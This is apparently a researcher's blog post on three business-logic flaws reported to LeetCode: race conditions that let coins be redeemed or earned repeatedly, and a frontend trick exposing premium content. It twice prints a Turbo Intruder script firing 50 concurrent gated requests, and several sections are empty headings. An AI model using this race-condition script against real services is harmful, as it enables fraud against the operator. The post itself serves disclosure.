From Coins to Chaos : Business Logic Exploits in LeetCode

While most people use LeetCode to sharpen their problem-solving skills, I took a different route—digging into its logic. In this blog, I’ll walk you through how I found and responsibly reported three impactful business logic vulnerabilities in LeetCode’s main application - leetcode.com. Each case involved clever misuse of logic, and none required complex technical exploits. Just pure understanding of how things shouldn’t work.

🧩 Case 1: Infinite Redemptions with Limited LeetCoins

📌 Description

LeetCode offers a store where users can redeem items using “leetcoins.” Logically, if you have 70 leetcoins, you should only be able to redeem one item worth that amount. But due to race condition vulnerabilities, I was able to redeem multiple items with the same coin balance.

💥 Exploit Summary

By intercepting the redemption request and launching it concurrently using Turbo Intruder, I was able to bypass redemption limits.

🛠 Steps to Reproduce
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=50,
                           requestsPerConnection=50,
                           pipeline=False)

    for i in range(50):
        engine.queue(target.req, target.baseInput, gate='race1')

    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)
🎯 Impact

🔓 Case 2: Free Access to Premium Content

📌 Description

LeetCode offers premium problems with paid access. However, using a clever frontend trick, I was able to access premium descriptions, discussions, and solutions.

🛠 Steps to Reproduce
🎯 Impact

🪙 Case 3: Free LeetCoins via Profile Update Race Condition

📌 Description

By editing basic profile info (like name or gender) concurrently, I triggered a condition where the application granted leetcoins multiple times for a single update.

🛠 Steps to Reproduce
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=50,
                           requestsPerConnection=50,
                           pipeline=False)

    for i in range(50):
        engine.queue(target.req, target.baseInput, gate='race1')

    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)
🎯 Impact

🔍 Takeaways


TimeLine


My Personal thought to LeetCode and Security Researchers …
  1. For Security Researchers : Please do not try to perform security research on leetcode infrastructure. My overall experience with this team is horrible and they offer leetcoins as a return of your investment. So don’t expect anything in return.

  2. For LeetCode : Very unprofessional - Dev/Sec Team take huge time to resolve a case (~ 6 months) , Company did not offer any LoA, Swags or anything to security researcher who helped them from a major financial loss. If I want, I can mine millions of leetcoins easily and make a lot of money by unethically selling them or redeeming any swags/goodies, well it’s leetcode…!! (Very Disappointing)